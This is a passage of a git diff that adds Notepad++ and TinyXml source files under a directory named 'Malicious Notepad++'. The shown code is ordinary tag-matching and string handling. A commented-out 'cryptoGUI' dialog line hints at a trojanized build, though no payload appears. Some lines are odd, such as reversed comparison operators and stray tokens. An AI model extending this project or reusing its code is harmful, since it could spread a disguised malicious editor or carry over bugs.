- 1)) + { + openTagFound.end = closeAnglePosition; + openTagFound.success = true; + } + } + } + + } + + if (forwardSearch) + { + searchStart = result.end + 1; + } + else + { + searchStart = result.start - 1; + } + + // Loop while we've found a ', and check it's not in an attribute using the style + FindResult closeAngle; + + bool isValidClose; + int returnPosition = -1; + + // Only search forwards + if (startPosition > endPosition) + { + int temp = endPosition; + endPosition = startPosition; + startPosition = temp; + } + + do + { + isValidClose = false; + + closeAngle = findText(">", startPosition, endPosition); + if (closeAngle.success) + { + auto style = _pEditView->execute(SCI_GETSTYLEAT, closeAngle.start); + // As long as we're not in an attribute ( is VALID XML. ) + if (style != SCE_H_DOUBLESTRING && style != SCE_H_SINGLESTRING && style != SCE_H_COMMENT) + { + returnPosition = closeAngle.start; + isValidClose = true; + } + else + { + startPosition = closeAngle.end; + } + } + + } while (closeAngle.success && isValidClose == false); + + return returnPosition; +} + + +XmlMatchedTagsHighlighter::FindResult XmlMatchedTagsHighlighter::findCloseTag(const std::string& tagName, int start, int end) +{ + std::string search("(_pEditView->execute(SCI_GETCHARAT, result.end)); + auto styleAt = _pEditView->execute(SCI_GETSTYLEAT, result.start); + + // Setup the parameters for the next search, if there is one. + if (forwardSearch) + { + searchStart = result.end + 1; + } + else + { + searchStart = result.start - 1; + } + + if (styleAt != SCE_H_CDATA && styleAt != SCE_H_SINGLESTRING && styleAt != SCE_H_DOUBLESTRING && styleAt != SCE_H_COMMENT) // If what we found was in CDATA section, it's not a valid tag. + { + // Common case - '>' follows the tag name directly + if (nextChar == '>') + { + validCloseTag = true; + closeTagFound.start = result.start; + closeTagFound.end = result.end; + closeTagFound.success = true; + } + else if (isWhitespace(nextChar)) // Otherwise, if it's whitespace, then allow whitespace until a '>' - any other character is invalid. + { + int whitespacePoint = result.end; + do + { + ++whitespacePoint; + nextChar = static_cast(_pEditView->execute(SCI_GETCHARAT, whitespacePoint)); + + } while(isWhitespace(nextChar)); + + if (nextChar == '>') + { + validCloseTag = true; + closeTagFound.start = result.start; + closeTagFound.end = whitespacePoint; + closeTagFound.success = true; + } + } + } + } + + } while (result.success && !validCloseTag); + + return closeTagFound; + +} + +XmlMatchedTagsHighlighter::FindResult XmlMatchedTagsHighlighter::findText(const char *text, int start, int end, int flags) +{ + FindResult returnValue; + + Sci_TextToFind search; + search.lpstrText = const_cast(text); // Grrrrrr + search.chrg.cpMin = start; + search.chrg.cpMax = end; + int result = static_cast(_pEditView->execute(SCI_FINDTEXT, flags, reinterpret_cast(&search))); + if (-1 == result) + { + returnValue.success = false; + } + else + { + returnValue.success = true; + returnValue.start = search.chrgText.cpMin; + returnValue.end = search.chrgText.cpMax; + } + return returnValue; +} + +void XmlMatchedTagsHighlighter::tagMatch(bool doHiliteAttr) +{ + // Clean up all marks of previous action + _pEditView->clearIndicator(SCE_UNIVERSAL_TAGMATCH); + _pEditView->clearIndicator(SCE_UNIVERSAL_TAGATTR); + + // Detect the current lang type. It works only with html and xml + LangType lang = (_pEditView->getCurrentBuffer())->getLangType(); + + if (lang != L_XML && lang != L_HTML && lang != L_PHP && lang != L_ASP && lang != L_JSP) + return; + + // If we're inside a code block (i.e not markup), don't try to match tags. + if (lang == L_PHP || lang == L_ASP || lang == L_JSP) + { + std::string codeBeginTag = lang == L_PHP ? "" : "%>"; + + const int caret = 1 + static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); // +1 to deal with the case when the caret is between the angle and the question mark in "execute(SCI_GETTARGETSTART); + auto originalEndPos = _pEditView->execute(SCI_GETTARGETEND); + auto originalSearchFlags = _pEditView->execute(SCI_GETSEARCHFLAGS); + + XmlMatchedTagsPos xmlTags; + + // Detect if it's a xml/html tag. If yes, Colour it! + if (getXmlMatchedTagsPos(xmlTags)) + { + _pEditView->execute(SCI_SETINDICATORCURRENT, SCE_UNIVERSAL_TAGMATCH); + int openTagTailLen = 2; + + // Colourising the close tag firstly + if ((xmlTags.tagCloseStart != -1) && (xmlTags.tagCloseEnd != -1)) + { + _pEditView->execute(SCI_INDICATORFILLRANGE, xmlTags.tagCloseStart, xmlTags.tagCloseEnd - xmlTags.tagCloseStart); + // tag close is present, so it's not single tag + openTagTailLen = 1; + } + + // Colourising the open tag + _pEditView->execute(SCI_INDICATORFILLRANGE, xmlTags.tagOpenStart, xmlTags.tagNameEnd - xmlTags.tagOpenStart); + _pEditView->execute(SCI_INDICATORFILLRANGE, xmlTags.tagOpenEnd - openTagTailLen, openTagTailLen); + + + // Colouising its attributs + if (doHiliteAttr) + { + vector< pair > attributes = getAttributesPos(xmlTags.tagNameEnd, xmlTags.tagOpenEnd - openTagTailLen); + _pEditView->execute(SCI_SETINDICATORCURRENT, SCE_UNIVERSAL_TAGATTR); + for (size_t i = 0, len = attributes.size(); i < len ; ++i) + { + _pEditView->execute(SCI_INDICATORFILLRANGE, attributes[i].first, attributes[i].second - attributes[i].first); + } + } + + // Colouising indent guide line position + if (_pEditView->isShownIndentGuide()) + { + int columnAtCaret = int(_pEditView->execute(SCI_GETCOLUMN, xmlTags.tagOpenStart)); + int columnOpposite = int(_pEditView->execute(SCI_GETCOLUMN, xmlTags.tagCloseStart)); + + int lineAtCaret = int(_pEditView->execute(SCI_LINEFROMPOSITION, xmlTags.tagOpenStart)); + int lineOpposite = int(_pEditView->execute(SCI_LINEFROMPOSITION, xmlTags.tagCloseStart)); + + if (xmlTags.tagCloseStart != -1 && lineAtCaret != lineOpposite) + { + _pEditView->execute(SCI_BRACEHIGHLIGHT, xmlTags.tagOpenStart, xmlTags.tagCloseEnd-1); + _pEditView->execute(SCI_SETHIGHLIGHTGUIDE, (columnAtCaret < columnOpposite)?columnAtCaret:columnOpposite); + } + } + } + + // restore the original targets and search options to avoid the conflit with search/replace function + _pEditView->execute(SCI_SETTARGETRANGE, originalStartPos, originalEndPos); + _pEditView->execute(SCI_SETSEARCHFLAGS, originalSearchFlags); +} diff --git a/Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.h b/Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.h new file mode 100644 index 0000000..91f1c48 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.h @@ -0,0 +1,76 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef XMLMATCHEDTAGSHIGHLIGHTER_H +#define XMLMATCHEDTAGSHIGHLIGHTER_H + +#include +#include + +class ScintillaEditView; + + +class XmlMatchedTagsHighlighter { +public: + explicit XmlMatchedTagsHighlighter(ScintillaEditView *pEditView):_pEditView(pEditView){}; + void tagMatch(bool doHiliteAttr); + +private: + ScintillaEditView *_pEditView; + + struct XmlMatchedTagsPos { + int tagOpenStart; + int tagNameEnd; + int tagOpenEnd; + + int tagCloseStart; + int tagCloseEnd; + }; + + struct FindResult { + int start; + int end; + bool success; + }; + + bool getXmlMatchedTagsPos(XmlMatchedTagsPos & tagsPos); + + // Allowed whitespace characters in XML + bool isWhitespace(int ch) { return ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n'; } + + FindResult findText(const char *text, int start, int end, int flags = 0); + FindResult findOpenTag(const std::string& tagName, int start, int end); + FindResult findCloseTag(const std::string& tagName, int start, int end); + int findCloseAngle(int startPosition, int endPosition); + + std::vector< std::pair > getAttributesPos(int start, int end); + +}; + +#endif //XMLMATCHEDTAGSHIGHLIGHTER_H + diff --git a/Malicious Notepad++/src/StaticControl.h b/Malicious Notepad++/src/StaticControl.h new file mode 100644 index 0000000..07943e9 --- /dev/null +++ b/Malicious Notepad++/src/StaticControl.h @@ -0,0 +1,45 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef STATIC_CONTROL_H +#define STATIC_CONTROL_H + +#include "Window.h" +class StaticControl : public Window +{ +public : + StaticControl() : Window() {}; + ~StaticControl(){}; + void init(HINSTANCE hInst, HWND parent, int ctrlID) { + Window::init(hInst, parent); + //_hSelf = CreateDialog(hInstance, MAKEINTRESOURCE(IDD_LUNA_DIALOG), NULL, cryptoGUI_dlgProc); + }; + +} + +#endif //STATIC_CONTROL_H \ No newline at end of file diff --git a/Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.cpp b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.cpp new file mode 100644 index 0000000..3640ea7 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.cpp @@ -0,0 +1,301 @@ +/* +www.sourceforge.net/projects/tinyxml +Original file by Yves Berquin. + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + +#include "tinyxmlA.h" + +#ifndef TIXMLA_USE_STL + + + + +#include "tinystrA.h" + +// TiXmlStringA constructor, based on a C string +TiXmlStringA::TiXmlStringA (const char* instring) +{ + unsigned newlen; + char * newstring; + + if (!instring) + { + allocated = 0; + cstring = NULL; + current_length = 0; + return; + } + newlen = strlen (instring) + 1; + newstring = new char [newlen]; + memcpy (newstring, instring, newlen); + // strcpy (newstring, instring); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + +// TiXmlStringA copy constructor +TiXmlStringA::TiXmlStringA (const TiXmlStringA& copy) +{ + unsigned newlen; + char * newstring; + + // Prevent copy to self! + if ( © == this ) + return; + + if (! copy . allocated) + { + allocated = 0; + cstring = NULL; + current_length = 0; + return; + } + newlen = copy . length () + 1; + newstring = new char [newlen]; + // strcpy (newstring, copy . cstring); + memcpy (newstring, copy . cstring, newlen); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + +// TiXmlStringA = operator. Safe when assign own content +void TiXmlStringA ::operator = (const char * content) +{ + unsigned newlen; + char * newstring; + + if (! content) + { + empty_it (); + return; + } + newlen = strlen (content) + 1; + newstring = new char [newlen]; + // strcpy (newstring, content); + memcpy (newstring, content, newlen); + empty_it (); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + +// = operator. Safe when assign own content +void TiXmlStringA ::operator = (const TiXmlStringA & copy) +{ + unsigned newlen; + char * newstring; + + if (! copy . length ()) + { + empty_it (); + return; + } + newlen = copy . length () + 1; + newstring = new char [newlen]; + // strcpy (newstring, copy . c_str ()); + memcpy (newstring, copy . c_str (), newlen); + empty_it (); + allocated = newlen; + cstring = newstring; + current_length = newlen - 1; +} + + +//// Checks if a TiXmlStringA contains only whitespace (same rules as isspace) +//bool TiXmlStringA::isblank () const +//{ +// char * lookup; +// for (lookup = cstring; * lookup; lookup++) +// if (! isspace (* lookup)) +// return false; +// return true; +//} + +// append a const char * to an existing TiXmlStringA +void TiXmlStringA::append( const char* str, int len ) +{ + char * new_string; + unsigned new_alloc, new_size, size_suffix; + + size_suffix = strlen (str); + if (len < (int) size_suffix) + size_suffix = len; + if (! size_suffix) + return; + + new_size = length () + size_suffix + 1; + // check if we need to expand + if (new_size > allocated) + { + // compute new size + new_alloc = assign_new_size (new_size); + + // allocate new buffer + new_string = new char [new_alloc]; + new_string [0] = 0; + + // copy the previous allocated buffer into this one + if (allocated && cstring) + // strcpy (new_string, cstring); + memcpy (new_string, cstring, length ()); + + // append the suffix. It does exist, otherwize we wouldn't be expanding + // strncat (new_string, str, len); + memcpy (new_string + length (), + str, + size_suffix); + + // return previsously allocated buffer if any + if (allocated && cstring) + delete [] cstring; + + // update member variables + cstring = new_string; + allocated = new_alloc; + } + else + { + // we know we can safely append the new string + // strncat (cstring, str, len); + memcpy (cstring + length (), + str, + size_suffix); + } + current_length = new_size - 1; + cstring [current_length] = 0; +} + + +// append a const char * to an existing TiXmlStringA +void TiXmlStringA::append( const char * suffix ) +{ + char * new_string; + unsigned new_alloc, new_size; + + new_size = length () + strlen (suffix) + 1; + // check if we need to expand + if (new_size > allocated) + { + // compute new size + new_alloc = assign_new_size (new_size); + + // allocate new buffer + new_string = new char [new_alloc]; + new_string [0] = 0; + + // copy the previous allocated buffer into this one + if (allocated && cstring) + memcpy (new_string, cstring, 1 + length ()); + // strcpy (new_string, cstring); + + // append the suffix. It does exist, otherwize we wouldn't be expanding + // strcat (new_string, suffix); + memcpy (new_string + length (), + suffix, + strlen (suffix) + 1); + + // return previsously allocated buffer if any + if (allocated && cstring) + delete [] cstring; + + // update member variables + cstring = new_string; + allocated = new_alloc; + } + else + { + // we know we can safely append the new string + // strcat (cstring, suffix); + memcpy (cstring + length (), + suffix, + strlen (suffix) + 1); + } + current_length = new_size - 1; +} + +// Check for TiXmlStringA equuivalence +//bool TiXmlStringA::operator == (const TiXmlStringA & compare) const +//{ +// return (! strcmp (c_str (), compare . c_str ())); +//} + +//unsigned TiXmlStringA::length () const +//{ +// if (allocated) +// // return strlen (cstring); +// return current_length; +// return 0; +//} + + +unsigned TiXmlStringA::find (char tofind, unsigned offset) const +{ + char * lookup; + + if (offset >= length ()) + return (unsigned) notfound; + for (lookup = cstring + offset; * lookup; lookup++) + if (* lookup == tofind) + return lookup - cstring; + return (unsigned) notfound; +} + + +bool TiXmlStringA::operator == (const TiXmlStringA & compare) const +{ + if ( allocated && compare.allocated ) + { + assert( cstring ); + assert( compare.cstring ); + return ( strcmp( cstring, compare.cstring ) == 0 ); + } + return false; +} + + +bool TiXmlStringA::operator < (const TiXmlStringA & compare) const +{ + if ( allocated && compare.allocated ) + { + assert( cstring ); + assert( compare.cstring ); + return ( strcmp( cstring, compare.cstring ) > 0 ); + } + return false; +} + + +bool TiXmlStringA::operator > (const TiXmlStringA & compare) const +{ + if ( allocated && compare.allocated ) + { + assert( cstring ); + assert( compare.cstring ); + return ( strcmp( cstring, compare.cstring ) < 0 ); + } + return false; +} + + +#endif // TIXMLA_USE_STL diff --git a/Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.h b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.h new file mode 100644 index 0000000..81181e8 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.h @@ -0,0 +1,237 @@ +/* +www.sourceforge.net/projects/tinyxml +Original file by Yves Berquin. + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + +#ifndef TINYXMLA_INCLUDED +#include "tinyxmlA.h" +#endif TINYXMLA_INCLUDED +#include + +#ifndef TIXMLA_USE_STL + +#ifndef _INCLUDED +#define TIXMLA_STRING_INCLUDED + +#pragma warning( disable : 4514 ) + + +/* + TiXmlStringA is an emulation of the std::string template. + Its purpose is to allow compiling TinyXML on compilers with no or poor STL support. + Only the member functions relevant to the TinyXML project have been implemented. + The buffer allocation is made by a simplistic power of 2 like mechanism : if we increase + a string and there's no more room, we allocate a buffer twice as big as we need. +*/ +class TiXmlStringA +{ + public : + // TiXmlStringA constructor, based on a string + TiXmlStringA (const char * instring); + + // TiXmlStringA empty constructor + TiXmlStringA () + { + allocated = 0; + cstring = NULL; + current_length = 0; + } + + // TiXmlStringA copy constructor + TiXmlStringA (const TiXmlStringA& copy); + + // TiXmlStringA destructor + ~ TiXmlStringA () + { + empty_it (); + } + + // Convert a TiXmlStringA into a classical char * + const char * c_str () const + { + if (allocated) + return cstring; + return ""; + } + + // Return the length of a TiXmlStringA + unsigned length () const + { + return ( allocated ) ? current_length : 0; + } + + // TiXmlStringA = operator + void operator = (const char * content); + + // = operator + void operator = (const TiXmlStringA & copy); + + // += operator. Maps to append + TiXmlStringA& operator += (const char * suffix) + { + append (suffix); + return *this; + } + + // += operator. Maps to append + TiXmlStringA& operator += (char single) + { + append (single); + return *this; + } + + // += operator. Maps to append + TiXmlStringA& operator += (TiXmlStringA & suffix) + { + append (suffix); + return *this; + } + bool operator == (const TiXmlStringA & compare) const; + bool operator < (const TiXmlStringA & compare) const; + bool operator > (const TiXmlStringA & compare) const; + + // Checks if a TiXmlStringA is empty + bool empty () const + { + return length () ? false : true; + } + + // Checks if a TiXmlStringA contains only whitespace (same rules as isspace) + // Not actually used in tinyxml. Conflicts with a C macro, "isblank", + // which is a problem. Commenting out. -lee +// bool isblank () const; + + // single char extraction + const char& at (unsigned index) const + { + assert( index < length ()); + return cstring [index]; + } + + // find a char in a string. Return TiXmlStringA::notfound if not found + unsigned find (char lookup) const + { + return find (lookup, 0); + } + + // find a char in a string from an offset. Return TiXmlStringA::notfound if not found + unsigned find (char tofind, unsigned offset) const; + + /* Function to reserve a big amount of data when we know we'll need it. Be aware that this + function clears the content of the TiXmlStringA if any exists. + */ + void reserve (unsigned size) + { + empty_it (); + if (size) + { + allocated = size; + TIXMLA_STRING cstring = new char [size]; + cstring [0] = 0; + current_length = 0; + } + } + + // [] operator + char& operator [] (unsigned index) const + { + assert( index < length ()); + return cstring [index]; + } + + // Error value for find primitive + enum { notfound = 0xffffffff, + npos = notfound }; + + void append (const char *str, int len ); + + protected : + + // The base string + char * cstring; + // Number of chars allocated + unsigned allocated; + // Current string size + unsigned current_length; + + // New size computation. It is simplistic right now : it returns twice the amount + // we need + unsigned assign_new_size (unsigned minimum_to_allocate) + { + return minimum_to_allocate * 2; + } + + // Internal function that clears the content of a TiXmlStringA + void empty_it () + { + if (cstring) + delete [] cstring; + cstring = NULL; + allocated = 0; + current_length = 0; + } + + void append (const char *suffix ); + + // append function for another TiXmlStringA + void append (const TiXmlStringA & suffix) + { + append (suffix . c_str ()); + } + + // append for a single char. This could be improved a lot if needed + void append (char single) + { + char smallstr [2]; + smallstr [0] = single; + smallstr [1] = 0; + append (smallstr); + } + +} ; + +/* + TiXmlOutStreamA is an emulation of std::ostream. It is based on TiXmlStringA. + Only the operators that we need for TinyXML have been developped. +*/ +class TiXmlOutStreamA : public TiXmlStringA +{ +public : + TiXmlOutStreamA () : TiXmlStringA () {} + + // TiXmlOutStreamA << operator. Maps to TiXmlStringA::append + TiXmlOutStreamA & operator << (const char * in) + { + append (in); + return (* this); + } + + // TiXmlOutStreamA << operator. Maps to TiXmlStringA::append + TiXmlOutStreamA & operator << (const TiXmlStringA & in) + { + append (in . c_str ()); + return (* this); + } +} ; + +#endif // TIXMLA_STRING_INCLUDED +#endif // TIXMLA_USE_STL diff --git a/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.cpp b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.cpp new file mode 100644 index 0000000..ce5e72a --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.cpp @@ -0,0 +1,1328 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + +#include "Common.h" +#include "tinyxmlA.h" + +#ifdef TIXMLA_USE_STL +#include +#endif + +bool TiXmlBaseA::condenseWhiteSpace = true; + +void TiXmlBaseA::PutString( const TIXMLA_STRING& str, TIXMLA_OSTREAM* stream ) +{ + TIXMLA_STRING buffer; + PutString( str, &buffer ); + (*stream) << buffer; +} + +void TiXmlBaseA::PutString( const TIXMLA_STRING& str, TIXMLA_STRING* outString ) +{ + int i=0; + + while( i<(int)str.length() ) + { + int c = str[i]; + + if ( c == '&' + && i < ( static_cast(str.length()) - 2 ) + && str[i+1] == '#' + && str[i+2] == 'x' ) + { + // Hexadecimal character reference. + // Pass through unchanged. + // © -- copyright symbol, for example. + while (i < static_cast(str.length())) + { + outString->append( str.c_str() + i, 1 ); + ++i; + if ( str[i] == ';' ) + break; + } + } + else if ( c == '&' ) + { + outString->append( entity[0].str, entity[0].strLength ); + ++i; + } + else if ( c == '<' ) + { + outString->append( entity[1].str, entity[1].strLength ); + ++i; + } + else if ( c == '>' ) + { + outString->append( entity[2].str, entity[2].strLength ); + ++i; + } + else if ( c == '\"' ) + { + outString->append( entity[3].str, entity[3].strLength ); + ++i; + } + else if ( c == '\'' ) + { + outString->append( entity[4].str, entity[4].strLength ); + ++i; + } + else if ( c < 32 || c > 126 ) + { + // Easy pass at non-alpha/numeric/symbol + // 127 is the delete key. Below 32 is symbolic. + char buf[ 32 ]; + sprintf( buf, "&#x%02X;", (unsigned) ( c & 0xff ) ); + outString->append( buf, strlen( buf ) ); + ++i; + } + else + { + char realc = static_cast(c); + outString->append( &realc, 1 ); + ++i; + } + } +} + + +// <-- Strange class for a bug fix. Search for STL_STRING_BUG +TiXmlBaseA::StringToBuffer::StringToBuffer( const TIXMLA_STRING& str ) +{ + buffer = new char[ str.length()+1 ]; + if ( buffer ) + { + strcpy( buffer, str.c_str() ); + } +} + + +TiXmlBaseA::StringToBuffer::~StringToBuffer() +{ + delete [] buffer; +} +// End strange bug fix. --> + + +TiXmlNodeA::TiXmlNodeA( NodeType _type ) +{ + parent = 0; + type = _type; + firstChild = 0; + lastChild = 0; + prev = 0; + next = 0; + userData = 0; +} + + +TiXmlNodeA::~TiXmlNodeA() +{ + TiXmlNodeA* node = firstChild; + TiXmlNodeA* temp = 0; + + while ( node ) + { + temp = node; + node = node->next; + delete temp; + } +} + + +void TiXmlNodeA::Clear() +{ + TiXmlNodeA* node = firstChild; + TiXmlNodeA* temp = 0; + + while ( node ) + { + temp = node; + node = node->next; + delete temp; + } + + firstChild = 0; + lastChild = 0; +} + + +TiXmlNodeA* TiXmlNodeA::LinkEndChild( TiXmlNodeA* node ) +{ + node->parent = this; + + node->prev = lastChild; + node->next = 0; + + if ( lastChild ) + lastChild->next = node; + else + firstChild = node; // it was an empty list. + + lastChild = node; + return node; +} + + +TiXmlNodeA* TiXmlNodeA::InsertEndChild( const TiXmlNodeA& addThis ) +{ + TiXmlNodeA* node = addThis.Clone(); + if ( !node ) + return 0; + + return LinkEndChild( node ); +} + + +TiXmlNodeA* TiXmlNodeA::InsertBeforeChild( TiXmlNodeA* beforeThis, const TiXmlNodeA& addThis ) +{ + if ( !beforeThis || beforeThis->parent != this ) + return 0; + + TiXmlNodeA* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; + + node->next = beforeThis; + node->prev = beforeThis->prev; + if ( beforeThis->prev ) + { + beforeThis->prev->next = node; + } + else + { + assert( firstChild == beforeThis ); + firstChild = node; + } + beforeThis->prev = node; + return node; +} + + +TiXmlNodeA* TiXmlNodeA::InsertAfterChild( TiXmlNodeA* afterThis, const TiXmlNodeA& addThis ) +{ + if ( !afterThis || afterThis->parent != this ) + return 0; + + TiXmlNodeA* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; + + node->prev = afterThis; + node->next = afterThis->next; + if ( afterThis->next ) + { + afterThis->next->prev = node; + } + else + { + assert( lastChild == afterThis ); + lastChild = node; + } + afterThis->next = node; + return node; +} + + +TiXmlNodeA* TiXmlNodeA::ReplaceChild( TiXmlNodeA* replaceThis, const TiXmlNodeA& withThis ) +{ + if ( replaceThis->parent != this ) + return 0; + + TiXmlNodeA* node = withThis.Clone(); + if ( !node ) + return 0; + + node->next = replaceThis->next; + node->prev = replaceThis->prev; + + if ( replaceThis->next ) + replaceThis->next->prev = node; + else + lastChild = node; + + if ( replaceThis->prev ) + replaceThis->prev->next = node; + else + firstChild = node; + + delete replaceThis; + node->parent = this; + return node; +} + + +bool TiXmlNodeA::RemoveChild( TiXmlNodeA* removeThis ) +{ + if ( removeThis->parent != this ) + { + assert( 0 ); + return false; + } + + if ( removeThis->next ) + removeThis->next->prev = removeThis->prev; + else + lastChild = removeThis->prev; + + if ( removeThis->prev ) + removeThis->prev->next = removeThis->next; + else + firstChild = removeThis->next; + + delete removeThis; + return true; +} + +TiXmlNodeA* TiXmlNodeA::FirstChild( const char * _value ) const +{ + TiXmlNodeA* node; + for ( node = firstChild; node; node = node->next ) + { + if ( node->SValue() == TIXMLA_STRING( _value )) + return node; + } + return 0; +} + +TiXmlNodeA* TiXmlNodeA::LastChild( const char * _value ) const +{ + TiXmlNodeA* node; + for ( node = lastChild; node; node = node->prev ) + { + if ( node->SValue() == TIXMLA_STRING (_value)) + return node; + } + return 0; +} + +TiXmlNodeA* TiXmlNodeA::IterateChildren( TiXmlNodeA* previous ) const +{ + if ( !previous ) + { + return FirstChild(); + } + else + { + assert( previous->parent == this ); + return previous->NextSibling(); + } +} + +TiXmlNodeA* TiXmlNodeA::IterateChildren( const char * val, TiXmlNodeA* previous ) const +{ + if ( !previous ) + { + return FirstChild( val ); + } + else + { + assert( previous->parent == this ); + return previous->NextSibling( val ); + } +} + +TiXmlNodeA* TiXmlNodeA::NextSibling( const char * _value ) const +{ + TiXmlNodeA* node; + for ( node = next; node; node = node->next ) + { + if ( node->SValue() == TIXMLA_STRING (_value)) + return node; + } + return 0; +} + + +TiXmlNodeA* TiXmlNodeA::PreviousSibling( const char * _value ) const +{ + TiXmlNodeA* node; + for ( node = prev; node; node = node->prev ) + { + if ( node->SValue() == TIXMLA_STRING (_value)) + return node; + } + return 0; +} + +void TiXmlElementA::RemoveAttribute( const char * name ) +{ + TiXmlAttributeA* node = attributeSet.Find( name ); + if ( node ) + { + attributeSet.Remove( node ); + delete node; + } +} + +TiXmlElementA* TiXmlNodeA::FirstChildElement() const +{ + TiXmlNodeA* node; + + for ( node = FirstChild(); + node; + node = node->NextSibling() ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + +TiXmlElementA* TiXmlNodeA::FirstChildElement( const char * _value ) const +{ + TiXmlNodeA* node; + + for ( node = FirstChild( _value ); + node; + node = node->NextSibling( _value ) ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + +TiXmlElementA* TiXmlNodeA::NextSiblingElement() const +{ + TiXmlNodeA* node; + + for ( node = NextSibling(); + node; + node = node->NextSibling() ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + +TiXmlElementA* TiXmlNodeA::NextSiblingElement( const char * _value ) const +{ + TiXmlNodeA* node; + + for ( node = NextSibling( _value ); + node; + node = node->NextSibling( _value ) ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + + +TiXmlDocumentA* TiXmlNodeA::GetDocument() const +{ + const TiXmlNodeA* node; + + for( node = this; node; node = node->parent ) + { + if ( node->ToDocument() ) + return node->ToDocument(); + } + return 0; +} + + +TiXmlElementA::TiXmlElementA (const char * _value) +: TiXmlNodeA( TiXmlNodeA::ELEMENT ) +{ + firstChild = lastChild = 0; + value = _value; +} + +TiXmlElementA::~TiXmlElementA() +{ + while( attributeSet.First() ) + { + TiXmlAttributeA* node = attributeSet.First(); + attributeSet.Remove( node ); + delete node; + } +} + +const char * TiXmlElementA::Attribute( const char * name ) const +{ + TiXmlAttributeA* node = attributeSet.Find( name ); + + if ( node ) + return node->Value(); + + return 0; +} + + +const char * TiXmlElementA::Attribute( const char * name, int* i ) const +{ + const char * s = Attribute( name ); + if ( i ) + { + if ( s ) + *i = atoi( s ); + else + *i = 0; + } + return s; +} + + +const char * TiXmlElementA::Attribute( const char * name, double* d ) const +{ + const char * s = Attribute( name ); + if ( d ) + { + if ( s ) + *d = atof( s ); + else + *d = 0; + } + return s; +} + + +int TiXmlElementA::QueryIntAttribute( const char* name, int* ival ) const 